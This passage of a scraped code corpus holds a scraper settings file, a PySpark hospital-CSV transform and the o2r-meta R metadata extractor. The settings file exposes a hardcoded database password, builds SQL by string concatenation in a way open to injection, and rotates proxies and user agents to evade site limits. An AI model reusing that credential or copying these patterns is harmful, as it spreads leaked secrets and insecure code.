password='jS0rarzFQIltwJCC',\n# db='dev2_nextop',\n# charset='utf8')\n\n\n# 请求头的更换\ndef get_ua():\n while True:\n ua = UserAgent(use_cache_server=True)\n useragent = ua.random\n if len(useragent) > 90:\n return useragent\n else:\n continue\n\n# 时间显示设置\ndef show_time():\n return time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))\n\n# 生成sql语句插入数据库\ndef create_sql(column_item, table_name):\n column = ' ('\n values = ' ('\n for i in column_item:\n if str(column_item[i]) == 'None':\n continue\n column += i + \",\"\n one_word = re.sub(\"'\", \"\\\"\", str(column_item[i]).replace('\\n', '').replace('\\r', '').replace(\n '\\t', '').replace('\\\\', '').replace('',''))\n values += repr(one_word) + \",\"\n column = column[:-1] + ',insert_time'\n\n values = values[:-1] + ',CURRENT_TIMESTAMP'\n sql = 'insert into ' + table_name + column.lower() + ') values' + values + ');'\n return sql\n\n# sql的链接\n\ndef select_db(sql):\n try:\n cur = conn.cursor()\n cur.execute(sql)\n wait_crawler = cur.fetchall() # fetchall fetchamany fetchone\n return wait_crawler\n\n except Exception as e:\n conn.rollback()\n print('出错信息:' + str(e))\n\ndef db_insert(sql):\n try:\n cur = conn.cursor()\n cur.execute(sql)\n conn.commit()\n except Exception as e:\n conn.rollback()\n print('error_info:{}'.format(e))\n\n# ip的设置\nclass Proxies_url:\n '''\n proxies check service\n '''\n url = 'http://http.tiqu.qingjuhe.cn/getip?num=1&type=2&pack=20735&port=1&lb=1&pb=4®ions='\n # url = 'http://webapi.http.zhimacangku.com/getip?num=1&type=2&pro=&city=0&yys=0&port=1&pack=57439&ts=0&ys=0&cs=0&lb=1&sb=0&pb=4&mr=1®ions='\n\ndef get_proxy():\n \"\"\"请求代理\"\"\"\n while True:\n try:\n r = requests.get(Proxies_url.url)\n except:\n continue\n try:\n json_str = json.loads(r.text)\n print(json_str)\n except:\n continue\n if json_str[\"msg\"] == \"请1秒后再试\" or json_str[\"msg\"] == \"请2秒后再试\":\n time.sleep(1)\n continue\n\n ip_port = str(json_str['data'][0]['ip']) + ':' + str(json_str['data'][0]['port'])\n print(ip_port)\n return ip_port\n\n# 共享目录\nif platform.system() == 'Windows':\n SHARE_DIR = \"Z:\\data\\工作\\赛盒\\Files\\\\\"\nelif platform.system() == 'Linux':\n SHARE_DIR = \"/mnt/工作/赛盒/Files/\"\nelse:\n print('无法找到共享盘的地址')\n","sub_path":"setting.py","file_name":"setting.py","file_ext":"py","file_size_in_byte":7378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"114016795","text":"from pyspark import SparkConf, SparkContext\nfrom pyspark.sql import SQLContext\nimport csv\n\nconf = SparkConf().setAppName(\"transform hospitals\")\nsc = SparkContext(conf=conf)\n\ndef toCSVLine(data):\n return ','.join(str(d) for d in data)\n\nfilename = \"/user/w205/hospital_compare/hospitals/hospitals.csv\"\nrdd = sc.textFile(filename)\ncsv_rdd = rdd.mapPartitions(lambda x: csv.reader(x))\n\ncolumns = [0,1,4]\n\nselected_rdd = csv_rdd.map(lambda row: [row[i] for i in columns])\n\nlines = selected_rdd.map(toCSVLine)\nlines.saveAsTextFile('/user/w205/hospital_compare/transformed_hospitals')","sub_path":"exercise_1/transforming/transform_hospitals.py","file_name":"transform_hospitals.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"461471590","text":"\"\"\"\n Copyright (c) 2016, 2017 - o2r project\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\n\"\"\"\n\nimport datetime\nimport json\nimport mimetypes\nimport os\nimport re\nimport sys\nimport urllib.request\nimport uuid\nfrom subprocess import Popen, PIPE, STDOUT\nfrom xml.dom import minidom\n\nimport dicttoxml\nimport fiona\nimport requests\nimport yaml\nfrom dateutil import parser as dateparser\nfrom guess_language import guess_language\n\n\ndef get_ercspec_http(spec_output_dir):\n # use this function to configure a specification file that needs to be included\n if stay_offline:\n status_note('skipping erc spec download (http disabled)')\n return None\n else:\n try:\n spec_url = 'https://github.com/o2r-project/erc-spec/archive/master.zip' # update\n spec_file = os.path.join(spec_output_dir, 'erc_spec.zip')\n status_note('downloading current erc spec')\n headers = {'User-Agent': 'o2rmeta'}\n req = urllib.request.Request(spec_url, None, headers)\n http = urllib.request.urlopen(req).read()\n with open(spec_file, 'wb') as f:\n f.write(http)\n status_note(''.join(('saved <', spec_file, '>')))\n except:\n status_note('! failed to include download and include spec')\n\n\ndef get_doi_http(md_title, md_author):\n if stay_offline:\n status_note('skipping doi lookup (http disabled)')\n return None\n else:\n try:\n # via Crossref.org\n status_note('requesting doi via crossref.org ...')\n my_params = {'query.title': md_title, 'query.author': md_author}\n r = requests.get('https://api.crossref.org/works', params=my_params, timeout=20)\n status_note(' '.join((str(r.status_code), r.reason)))\n if r is not None:\n status_note(''.join(('debug: GET')))\n if 'message' in r.json():\n if 'items' in r.json()['message']:\n if type(r.json()['message']['items']) is list:\n # take first hit, best match\n if 'DOI' in r.json()['message']['items'][0]:\n return r.json()['message']['items'][0]['DOI']\n except requests.exceptions.Timeout:\n status_note('http doi request: timeout')\n except requests.exceptions.TooManyRedirects:\n status_note('http doi request: too many redirects')\n except requests.exceptions.RequestException as e:\n status_note(''.join(('http doi request: ', str(e))))\n except:\n status_note('! error while requesting doi')\n\n\ndef get_orcid_http(txt_input, bln_sandbox):\n if stay_offline:\n status_note('skipping orcid lookup (http disabled)')\n return None\n else:\n try:\n status_note(''.join(('requesting orcid for <', txt_input, '>')))\n headers = {\"Content-Type\": \"application/json\"}\n my_params = {\"q\": txt_input}\n if bln_sandbox:\n r = requests.get('https://pub.sandbox.orcid.org/v2.0/search', params=my_params, headers=headers, timeout=20)\n else:\n r = requests.get('https://pub.orcid.org/v2.0/search', params=my_params, headers=headers, timeout=20)\n status_note(' '.join((str(r.status_code), r.reason)))\n if 'num-found' in r.json():\n if r.json()['num-found'] > 0:\n if 'result' in r.json():\n if type(r.json()['result']) is list:\n if 'orcid-identifier' in r.json()['result'][0]:\n if 'path' in r.json()['result'][0]['orcid-identifier']:\n return str(r.json()['result'][0]['orcid-identifier']['path'])\n except requests.exceptions.Timeout:\n status_note('http orcid request: timeout')\n except requests.exceptions.TooManyRedirects:\n status_note('http orcid request: too many redirects')\n except requests.exceptions.RequestException as e:\n status_note(''.join(('http orcid request: ', str(e))))\n\n\ndef get_r_package_class(package):\n try:\n list_crantop100 = ['BH', 'DBI', 'Formula', 'Hmisc', 'MASS', 'Matrix',\n 'MatrixModels', 'NMF', 'R6', 'RColorBrewer', 'RCurl', 'RJSONIO',\n 'Rcpp', 'RcppArmadillo', 'RcppEigen', 'SparseM', 'TH.data', 'XML',\n 'acepack', 'assertthat', 'bitops', 'caTools', 'car', 'chron',\n 'colorspace', 'crayon', 'curl', 'data.table', 'devtools', 'dichromat',\n 'digest', 'doParallel', 'dplyr', 'e1071', 'evaluate', 'foreach',\n 'formatR', 'gdata', 'ggplot2', 'git2r', 'gridBase', 'gridExtra',\n 'gtable', 'gtools', 'highr', 'htmltools', 'httr', 'igraph',\n 'irlba', 'iterators', 'jsonlite', 'knitr', 'labeling', 'latticeExtra',\n 'lazyeval', 'lme4', 'lmtest', 'lubridate', 'magrittr', 'maps',\n 'markdown', 'memoise', 'mgcv', 'mime', 'minqa', 'multcomp',\n 'munsell', 'mvtnorm', 'nlme', 'nloptr', 'nnet', 'openssl',\n 'pbkrtest', 'pkgmaker', 'plotrix', 'plyr', 'praise', 'quantreg',\n 'rJava', 'registry', 'reshape2', 'rgl', 'rmarkdown', 'rngtools',\n 'rstudioapi', 'sandwich', 'scales', 'shiny', 'sp', 'stringi',\n 'stringr', 'testthat', 'tidyr', 'whisker', 'withr', 'xlsx',\n 'xlsxjars', 'xtable', 'yaml', 'zoo']\n list_geoscience = ['bfast', 'biclust', 'CARBayes', 'custer', 'devtools', 'dplyr',\n 'fpc', 'geonames', 'geoR', 'georob', 'geospt', 'ggmap',\n 'ggplot2', 'glmmBUGS', 'gstat', 'igraph', 'INLA', 'knitr',\n 'landsat', 'mapdata', 'maps', 'maptools', 'mapview', 'move',\n 'OpenStreetMap', 'PBSmapping', 'plyr', 'RandomFields', 'raster', 'RColorBrewer',\n 'reshape', 'rgdal', 'RgoogleMaps', 'rJava', 'rmarkdown', 'RPostgreSQL',\n 'RStoolbox', 'scidb', 'SciDBR', 'scidbst', 'SDMtools', 'sgeostat',\n 'Snowball', 'sos4R', 'sp', 'spacetime', 'sparr', 'spate',\n 'spatial', 'spatialCovariance', 'SpatioTemporal', 'spatstat', 'spatsurv', 'stats',\n 'stringr', 'strucchange', 'tm', 'tmap', 'trajectories', 'WordCloud',\n 'zoo']\n label = ''\n if package in list_geoscience:\n label += 'geo sciences,'\n if package in list_crantop100:\n label += 'CRAN Top100,'\n if len(label) < 1:\n return None\n else:\n return label[:-1]\n except:\n #raise\n status_note(''.join(('! error while classifying r package:', str(exc.problem_mark), str(exc.problem))))\n\n\ndef get_rel_path(input_path):\n # this is the path for output and display, relative to --basedir flag\n output_path = os.path.relpath(os.path.join(input_path), basedir).replace('\\\\', '/')\n return output_path\n\n\ndef get_rdata(filepath):\n # skip large files, unsuitable for text preview\n if os.stat(filepath).st_size / 1024 ** 2 > 200:\n status_note('[debug] skipping large RData file...')\n return None\n rhome_name = 'R_HOME'\n if rhome_name in os.environ:\n if os.environ[rhome_name] is not None:\n # OK try R_HOME value\n rpath = os.environ[rhome_name].replace(\"\\\\\", \"/\")\n # add executable to path\n if not rpath.endswith('R') and not rpath.endswith('R.exe'):\n if os.path.exists(os.path.join(rpath, 'R.exe')):\n rpath = os.path.join(rpath, 'R.exe')\n else:\n if os.path.exists(os.path.join(rpath, 'R')):\n rpath = os.path.join(rpath, 'R')\n else:\n # Cannot take path\n status_note('[debug] invalid path to R executable')\n rpath = None\n if not os.path.exists(rpath):\n # Cannot take path\n status_note('[debug] invalid path to R installation')\n rpath = None\n else:\n status_note(''.join(('[debug] ', rhome_name, ' NULL')))\n rpath = None\n else:\n status_note(''.join(('[debug] ', rhome_name, ' R_HOME env is not set...')))\n return None\n try:\n if rpath is None:\n return None\n status_note('processing RData')\n p = Popen([rpath, '--vanilla', os.path.abspath(filepath)], stdout=PIPE, stdin=PIPE, stderr=STDOUT)\n out = p.communicate(input=b'ls.str()')[0].decode('ISO-8859-1')[:-4].split(\"> ls.str()\")[1]\n return out[:40000]\n except:\n raise\n\n\ndef parse_bagitfile(file_path):\n txt_dict = {'bagittxt_file': file_path}\n with open(file_path) as f:\n lines = f.readlines()\n for line in lines:\n s = line.rstrip('\\n').split(': ')\n txt_dict[s[0]] = s[1]\n return txt_dict\n\n\ndef parse_r(input_text, parser_dict):\n try:\n c = 0\n for line in input_text.splitlines():\n c += 1\n for rule in rule_set_r:\n this_rule = rule.split('\\t')\n m = re.match(this_rule[2], line)\n if m:\n if len(m.groups()) > 0:\n # r dependency\n if this_rule[0] == 'depends':\n segment = {'packageSystem': 'https://cloud.r-project.org/',\n 'version': None,\n 'category': get_r_package_class(m.group(1)),\n 'identifier': m.group(1)}\n parser_dict.setdefault('depends', []).append(segment)\n elif this_rule[0] == 'r_input':\n segment = {'feature': this_rule[1], 'line': c, 'text': os.path.basename(str(m.group(1)))}\n parser_dict.setdefault(this_rule[0], []).append(segment)\n else:\n segment = {'feature': this_rule[1], 'line': c, 'text': m.group(1)}\n parser_dict.setdefault(this_rule[0], []).append(segment)\n return parser_dict\n except Exception as exc:\n raise\n #status_note(''.join(('! error while parsing R input: ', str(exc.args[0]))))\n\n\ndef parse_spatial(filepath, fformat):\n try:\n # is an dict key in candidates to store all spatial files as list, other than finding the best candidate of spatial file\n side_key = 'global_spatial' #debug\n if not side_key in CANDIDATES_MD_DICT:\n CANDIDATES_MD_DICT[side_key] = {}\n # work on formats:\n coords = None\n if fformat == '.shp' or fformat == '.geojson':\n coords = fiona.open(filepath, 'r')\n # geojpeg\n elif fformat == '.jp2':\n return None\n # geotif\n elif fformat == '.tif' or fformat == '.tiff':\n return None\n else:\n # all other file extensions: exit\n return None\n # prepare json object:\n new_file_key = {}\n if 'spatial' not in CANDIDATES_MD_DICT[side_key]:\n CANDIDATES_MD_DICT[side_key]['spatial'] = {}\n if 'files' not in CANDIDATES_MD_DICT[side_key]['spatial']:\n key_files = {'files': []}\n CANDIDATES_MD_DICT[side_key]['spatial'] = key_files\n new_file_key['source_file'] = get_rel_path(filepath)\n new_file_key['geojson'] = {'type': 'Feature',\n 'geometry': {}\n }\n if coords is not None:\n new_file_key['geojson']['bbox'] = coords.bounds\n new_file_key['geojson']['geometry']['coordinates'] = [\n [[coords.bounds[0], coords.bounds[1]], [coords.bounds[2], coords.bounds[3]]]]\n new_file_key['geojson']['geometry']['type'] = 'Polygon'\n CANDIDATES_MD_DICT[side_key]['spatial']['files'].append(new_file_key)\n # calculate union of all available coordinates\n # calculate this only once, at last\n current_coord_list = []\n for key in CANDIDATES_MD_DICT[side_key]['spatial']['files']:\n if 'geojson' in key:\n if 'geometry' in key['geojson']:\n if 'coordinates' in key['geojson']['geometry']:\n if len(key['geojson']['geometry']['coordinates']) > 0:\n current_coord_list.append((key['geojson']['geometry']['coordinates'][0][0]))\n current_coord_list.append((key['geojson']['geometry']['coordinates'][0][1]))\n key_union = {}\n coords = calculate_geo_bbox_union(current_coord_list)\n key_union['geojson'] = {}\n if coords is not None:\n key_union['geojson']['bbox'] = [coords[0][0], coords[0][1], coords[1][0], coords[1][1]]\n key_union['geojson']['type'] = 'Feature'\n key_union['geojson']['geometry'] = {}\n key_union['geojson']['geometry']['type'] = 'Polygon'\n if coords is not None:\n key_union['geojson']['geometry']['coordinates'] = coords\n CANDIDATES_MD_DICT[side_key]['spatial'].update({'union': key_union})\n except:\n raise\n\n\ndef parse_temporal(file_id, filepath, data, timestamp):\n global date_new\n date_new = None\n try:\n if timestamp is not None:\n try:\n # try parse from string, but input is potentially r code\n date_new = dateparser.parse(timestamp).isoformat()\n except:\n raise\n pass\n else:\n if filepath is not None:\n date_new = str(datetime.datetime.fromtimestamp(os.stat(filepath).st_mtime).isoformat())\n if data is not None:\n if 'temporal' in data and date_new is not None:\n if 'begin' in data['temporal'] and 'end' in data['temporal']:\n date_earliest = data['temporal']['begin']\n if date_earliest is not None:\n if date_new < date_earliest:\n # new candidate is earlier than earliest\n data['temporal'].update({'begin': date_new})\n else:\n # nothing yet, so take this one\n data['temporal'].update({'begin': date_new})\n date_latest = data['temporal']['end']\n if date_latest is not None:\n if date_new > date_latest:\n # new candidate is later than latest\n data['temporal'].update({'end': date_new})\n else:\n # nothing yet, so take this one\n data['temporal'].update({'end': date_new})\n except:\n raise\n\n\ndef parse_yaml(input_text):\n # This is for R markdown files with yaml headers\n try:\n yaml_data_dict = yaml.safe_load(input_text)\n if yaml_data_dict is not None:\n # model description / abstract:\n if 'description' in yaml_data_dict:\n if yaml_data_dict['description'] is not None:\n MASTER_MD_DICT['description'] = yaml_data_dict['description']\n else:\n if 'abstract' in yaml_data_dict:\n MASTER_MD_DICT['description'] = yaml_data_dict['abstract']\n # model author:\n if 'author' in yaml_data_dict:\n if type(yaml_data_dict['author']) is str:\n id_found = get_orcid_http(yaml_data_dict['author'], True)\n yaml_data_dict['orcid'] = id_found\n if 'affiliation' not in yaml_data_dict:\n # we have author but miss affiliation, so add empty list\n yaml_data_dict['affiliation'] = []\n else:\n # we have affiliation but not an empty list, so make empty list\n if yaml_data_dict['affiliation'] is None:\n yaml_data_dict['affiliation'] = []\n else:\n if type(yaml_data_dict['affiliation']) is list:\n yaml_data_dict['affiliation'] = yaml_data_dict['affiliation'][0]\n elif type(yaml_data_dict['author']) is list:\n for anyone in yaml_data_dict['author']:\n if 'name' in anyone:\n # todo: stop using sandbox for orcid retrieval\n id_found = get_orcid_http(anyone['name'], True)\n anyone['orcid'] = id_found\n # model date:\n if 'date' in yaml_data_dict:\n try:\n parse_temporal(None, None, CANDIDATES_MD_DICT, yaml_data_dict['date'])\n except Exception as exc:\n status_note(''.join(('[debug] ! failed to parse temporal <', yaml_data_dict['date'],\n '> (', str(exc.args[0]), ')')))\n # model doi:\n this_doi = None\n if 'doi' in yaml_data_dict:\n this_doi = yaml_data_dict['doi']\n if 'DOI' in yaml_data_dict:\n this_doi = yaml_data_dict['DOI']\n # other doi source is http request, and will be done later if title + author name is available\n if this_doi is not None:\n # the author might have used the doi tag but added a doi url instead:\n if this_doi.startswith('http'):\n MASTER_MD_DICT['identifier']['doi'] = this_doi.split('.org/')[1]\n MASTER_MD_DICT['identifier']['doiurl'] = this_doi\n else:\n MASTER_MD_DICT['identifier']['doi'] = this_doi\n MASTER_MD_DICT['identifier']['doiurl'] = ''.join(('https://doi.org/', this_doi))\n # model keywords:\n if 'keywords' in yaml_data_dict:\n # reduce to plain keyword list if given\n if 'plain' in yaml_data_dict['keywords']:\n yaml_data_dict['keywords'] = yaml_data_dict['keywords']['plain']\n # model keywords:\n if 'title' in yaml_data_dict:\n # reduce to plain title list if given\n if 'plain' in yaml_data_dict['title']:\n yaml_data_dict['title'] = yaml_data_dict['title']['plain']\n # model interaction / shiny:\n if 'runtime' in yaml_data_dict:\n if yaml_data_dict['runtime'] == 'shiny' and 'interaction' in MASTER_MD_DICT:\n MASTER_MD_DICT['interaction']['interactive'] = True\n return yaml_data_dict\n except yaml.YAMLError as exc:\n #raise\n status_note(''.join(('! error while parsing yaml input:', str(exc.problem_mark), str(exc.problem))))\n\n\ndef best_candidate(all_candidates_dict):\n # \"all_candidates_dict\" contains one dict for each file that was extracted from\n # each features found in each of these dicts is compared here to result in a single dict with max completeness\n try:\n result = {}\n inputfiles = []\n for key in all_candidates_dict:\n if all_candidates_dict[key] != {}:\n for subkey in all_candidates_dict[key]:\n # determine completeness\n if subkey not in result:\n new_key = {subkey: all_candidates_dict[key][subkey]}\n result.update(new_key)\n # include function input file paths\n if subkey == 'r_input':\n for inputkey in all_candidates_dict[key][subkey]:\n if 'text' in inputkey:\n for filename in file_list_input_candidates:\n # check if r inputfile is among encountered files\n if inputkey['text'] == os.path.basename(filename) and inputkey['text'] not in inputfiles:\n # keep list entries unique:\n if filename not in inputfiles:\n inputfiles.append(filename)\n break\n else:\n # this feature is already present, extracted from another file:\n # take better version\n if len(str(result[subkey])) < len(str(all_candidates_dict[key][subkey])):\n # present key is less complex than new key, hence take new one\n result.pop(subkey)\n new_key = {subkey: all_candidates_dict[key][subkey]}\n result.update(new_key)\n # include function input file paths\n if subkey == 'r_input':\n for inputkey in all_candidates_dict[key][subkey]:\n if 'text' in inputkey:\n for filename in file_list_input_candidates:\n if inputkey['text'] == os.path.basename(filename) and inputkey['text'] not in inputfiles:\n if filename not in inputfiles:\n inputfiles.append(filename)\n break\n result.update({'inputfiles': inputfiles})\n return result\n except:\n raise\n\n# base extract\ndef extract_from_candidate(file_id, path_file, out_format, out_mode, multiline, rule_set):\n try:\n md_file = os.path.basename(path_file)\n md_mime_type = mimetypes.guess_type(path_file)\n if md_mime_type[0] is None:\n if md_file.lower().endswith('.r'):\n md_mime_type = 'text/plain'\n if md_file.lower().endswith('.rmd'):\n md_mime_type = 'text/markdown'\n if md_erc_id is not None:\n pattern = ''.join(('(', md_erc_id, '.*)'))\n s = re.search(pattern, path_file)\n if s:\n md_filepath = s.group(1)\n else:\n md_filepath = get_rel_path(path_file)\n md_record_date = datetime.datetime.today().strftime('%Y-%m-%d')\n data_dict = {'file': {'filename': md_file, 'filepath': md_filepath, 'mimetype': md_mime_type},\n 'ercIdentifier': md_erc_id,\n 'recordDateCreated': md_record_date,\n 'depends': []}\n try:\n with open(path_file, encoding='utf-8') as input_file:\n content = input_file.read()\n if multiline:\n # reset key; try guess lang:\n data_dict['paperLanguage'] = []\n t = re.search(r'([\\w\\d\\s\\.\\,\\:]{300,1200})', content, flags=re.DOTALL)\n if t:\n if guess_language(t.group(1)) is not None:\n data_dict['paperLanguage'].append(guess_language(t.group(1)))\n else:\n data_dict['paperLanguage'] = []\n # process rules\n for rule in rule_set:\n this_rule = rule.split('\\t')\n s = re.search(this_rule[1], content, flags=re.DOTALL)\n if s:\n if this_rule[0].startswith('yaml'):\n data_dict.update(parse_yaml(s.group(1)))\n if this_rule[0].startswith('rblock'):\n #data_dict['r_codeblock'] = ''\n ##data_dict.update(r_codeblock=parse_r(s.group(1), data_dict))\n data_dict = parse_r(s.group(1), data_dict)\n else:\n # parse entire file as one code block\n #data_dict.update(r_codeblock=parse_r(content, data_dict))\n data_dict = parse_r(content, data_dict)\n except UnicodeDecodeError:\n status_note(''.join(('! failed to decode <', md_file, '>')))\n # save to list of extracted md:\n CANDIDATES_MD_DICT[file_id] = data_dict\n # save or output results\n if metafiles_all:\n output_extraction(data_dict, out_format, out_mode, path_file)\n except Exception as exc:\n raise\n #status_note(''.join(('! error while extracting: ', exc.args[0])))\n\n\ndef output_extraction(data_dict, out_format, out_mode, out_path_file):\n try:\n output_data = None\n output_fileext = None\n if out_format == 'json':\n output_data = json.dumps(data_dict, sort_keys=True, indent=4, separators=(',', ': '))\n output_fileext = '.json'\n if out_format == 'xml':\n output_data = minidom.parseString(dicttoxml.dicttoxml(data_dict, attr_type=False)).toprettyxml(indent='\\t')\n output_fileext = '.xml'\n if out_mode == '@s':\n # give out to screen\n print(output_data)\n return None\n elif out_mode == '@none':\n # silent mode\n pass\n else:\n # output path is given in \n if out_path_file is not None:\n if os.path.basename(out_path_file) != main_metadata_filename:\n timestamp = re.sub('\\D', '', str(datetime.datetime.now().strftime('%Y%m%d%H:%M:%S.%f')[:-4]))\n # \"meta_\" prefix as distinctive feature for metabroker later in workflow\n out_path_file = os.path.join(out_mode, '_'.join(('meta', timestamp, os.path.basename(out_path_file)[:8].replace('.', '_'), output_fileext)))\n if not os.path.exists(out_mode):\n os.makedirs(out_mode)\n with open(out_path_file, 'w', encoding='utf-8') as outfile:\n outfile.write(output_data)\n status_note(''.join((str(os.stat(out_path_file).st_size), ' bytes written to ', os.path.relpath(out_path_file).replace('\\\\', '/'))))\n except Exception as exc:\n raise\n #status_note(''.join(('! error while creating output: ', exc.args[0])))\n\n\ndef guess_paper_source():\n try:\n # todo: get paperSource from rmd file that has same name as its html rendering\n if 'file' in MASTER_MD_DICT:\n return MASTER_MD_DICT['file']['filename']\n else:\n return None\n except:\n raise\n #return None\n\n\ndef calculate_geo_bbox_union(coordinate_list):\n try:\n if coordinate_list is None:\n return [(0, 0), (0, 0), (0, 0), (0, 0)]\n min_x = 181.0\n min_y = 181.0\n max_x = -181.0\n max_y = -181.0\n ##max =[181.0, 181.0, -181.0, -181.0] # proper max has -90/90 & -180/180\n # todo: deal with international date line wrapping / GDAL\n for n in coordinate_list:\n if n[0] < min_x:\n min_x = n[0]\n if n[0] > max_x:\n max_x = n[0]\n if n[1] < min_y:\n min_y = n[1]\n if n[1] > max_y:\n max_y = n[1]\n return [(min_x, min_y), (max_x, min_y), (max_x, max_y), (min_x, max_y)]\n except:\n raise\n\n\ndef ercyml_write(out_path):\n try:\n if out_path is not None:\n out_path = os.path.join(out_path, 'erc_raw.yml')\n new_id = str(uuid.uuid4())\n spec_version = 1\n data = {'id': new_id,\n 'spec_version': spec_version,\n 'structure': {},\n 'execution': {},\n 'licenses': {},\n 'extensions': {}\n }\n with open(out_path, 'w', encoding='utf-8') as outfile:\n yaml.dump(data, outfile, default_flow_style=False)\n status_note(out_path + ' written.')\n except:\n raise\n\n\ndef status_note(msg, **kwargs):\n log_buffer = kwargs.get('b', None)\n if not log_buffer:\n print(''.join(('[o2rmeta][extract] ', str(msg))))\n\n\ndef start(**kwargs):\n global input_dir\n input_dir = kwargs.get('i', None)\n global md_erc_id\n md_erc_id = kwargs.get('e', None)\n global basedir\n basedir = kwargs.get('b', None)\n global stay_offline\n stay_offline = kwargs.get('xo', None)\n global metafiles_all\n metafiles_all = kwargs.get('m', None)\n output_xml = kwargs.get('xml', None)\n output_dir = kwargs.get('o', None)\n output_to_console = kwargs.get('s', None)\n # output format\n if output_xml:\n output_format = 'xml'\n else:\n output_format = 'json'\n # output mode\n if output_to_console:\n output_mode = '@s'\n elif output_dir:\n output_mode = output_dir\n if not os.path.isdir(output_dir):\n status_note(''.join(('directory <', output_dir, '> will be created during extraction...')))\n else:\n # not possible if output arg group is on mutual exclusive\n output_mode = '@none'\n if input_dir:\n if not os.path.isdir(input_dir):\n status_note(''.join(('! error, input dir <', input_dir, '> does not exist')))\n sys.exit()\n # load rules:\n # rule set for r, compose as: category name TAB entry feature name TAB regex\n global rule_set_r\n rule_set_r = ['\\t'.join(('r_comment', 'comment', r'#{1,3}\\s{0,3}([\\w\\s\\:]{1,})')),\n #'\\t'.join(('Comment', 'seperator', r'#\\s?([#*~+-_])\\1*')),\n '\\t'.join(('r_comment', 'codefragment', r'#{1,3}\\s*(.*\\=.*\\(.*\\))')),\n '\\t'.join(('r_comment', 'contact', r'#{1,3}\\s*(.*[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\\.[a-zA-Z0-9-.].*)')),\n '\\t'.join(('r_comment', 'url', r'#{1,3}\\s*http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+')),\n '\\t'.join(('depends', '.*installs', r'install.packages\\((.*)\\)')),\n '\\t'.join(('depends', '', r'.*library\\(\\'?\\\"?([a-zA-Z\\d\\.]*)[\\\"\\'\\)]')),\n '\\t'.join(('depends', '', r'.*require\\(\\'?\\\"?([a-zA-Z\\d\\.]*)[\\\"\\'\\)]')),\n '\\t'.join(('r_input', 'data input', r'.*data[\\(\\'\\\"]{2}([a-zA-Z\\d\\./\\\\]*)\\\"')),\n '\\t'.join(('r_input', 'data input', r'.*load[\\(\\'\\\"]{2}([a-zA-Z\\d\\./\\\\]*)\\\"')),\n '\\t'.join(('r_input', 'data input', r'.*read[\\(\\'\\\"]{2}([a-zA-Z\\d\\./\\\\]*)\\\"')),\n '\\t'.join(('r_input', 'data input', r'.*read\\.csv[\\(\\'\\\"]{2}([a-zA-Z\\d\\./\\\\]*)\\\"')),\n '\\t'.join(('r_input', 'data input', r'.*readGDAL[\\(\\'\\\"]{2}([a-zA-Z\\d\\./\\\\]*)\\\"')),\n '\\t'.join(('r_input', 'data input', r'.*readOGR\\(dsn\\=[\\'\\\"]{2}([a-zA-Z\\d\\./\\\\]*)\\\"')),\n '\\t'.join(('r_input', 'data input', r'.*readLines[\\(\\'\\\"]{2}([a-zA-Z\\d\\./\\\\]*)\\\"')),\n '\\t'.join(('r_output', 'file', r'.*write\\..*\\((.*)\\)')),\n '\\t'.join(('r_output', 'result', r'.*(ggplot|plot|print)\\((.*)\\)')),\n '\\t'.join(('r_output', 'setseed', r'.*set\\.seed\\((.*)\\)'))]\n # rule set for rmd #\n rule_set_rmd_multiline = ['\\t'.join(('yaml', r'---\\n(.*?)\\n---\\n')),\n '\\t'.join(('rblock', r'\\`{3}(.*)\\`{3}'))]\n # other parameters\n global CANDIDATES_MD_DICT\n CANDIDATES_MD_DICT = {}\n global MASTER_MD_DICT # this one is being updated per function call\n # need this layout for dummy:\n MASTER_MD_DICT = {'author': [{'affiliation': [],\n 'name': None,\n 'orcid': None,\n }],\n 'communities': [{'identifier': 'o2r'}],\n 'depends': [],\n 'description': None,\n 'ercIdentifier': None,\n 'file': {'filename': None, 'filepath': None, 'mimetype': None},\n 'generatedBy': ' '.join(('o2r-meta', os.path.basename(__file__))),\n 'identifier': {'doi': None, 'doiurl': None, 'reserveddoi': None},\n 'interaction': {'interactive': False,\n 'ui_binding': {'purpose': None,\n 'widget': None,\n 'code': {'filename': None,\n 'function': None,\n 'shinyInputFunction': None,\n 'shinyRenderFunction': None,\n 'functionParameter': None\n },\n 'variable': None\n }\n },\n 'codefiles': [],\n 'inputfiles': [],\n 'keywords': [],\n 'license': {\n 'text': 'cc-by', # default\n 'code': None,\n 'data': None,\n 'uibindings': None\n },\n 'access_right': 'open', # default\n 'paperLanguage': [],\n 'paperSource': None,\n 'publicationDate': None,\n 'publication_type': 'other', # default\n 'r_comment': [],\n 'r_input': [],\n 'r_output': [],\n 'r_rdata': [],\n 'recordDateCreated': None,\n 'researchQuestions': [],\n 'researchHypotheses': [],\n 'softwarePaperCitation': None,\n 'spatial': {'files': None, 'union': None},\n 'temporal': {'begin': None, 'end': None},\n 'title': None,\n 'upload_type': 'publication', # default\n 'viewfiles': [],\n 'viewfile': None,\n 'version': None}\n bagit_txt_file = None\n global compare_extracted\n compare_extracted = {} # dict for evaluations to find best metafile for main output\n global main_metadata_filename\n main_metadata_filename = 'metadata_raw.json'\n global file_list_input_candidates\n # create dummy file to indicate latest data structure\n try:\n with open(os.path.join(\"schema\", \"json\", \"dummy.json\"), 'w', encoding='utf-8') as dummyfile:\n dummyfile.write(json.dumps(MASTER_MD_DICT, sort_keys=True, indent=4, separators=(',', ': ')))\n except:\n pass\n #raise\n # process all files in input directory +recursive\n file_list_input_candidates = [] # all files encountered, possible input of an R script\n log_buffer = False\n nr = 0 # number of files processed\n nsp = 0 #debug\n display_interval = 2500 # display progress every X processed files\n for root, subdirs, files in os.walk(input_dir):\n for file in files:\n full_file_path = os.path.join(root, file).replace('\\\\', '/')\n # give it a number\n new_id = str(uuid.uuid4())\n if os.path.isfile(full_file_path) and full_file_path not in file_list_input_candidates:\n 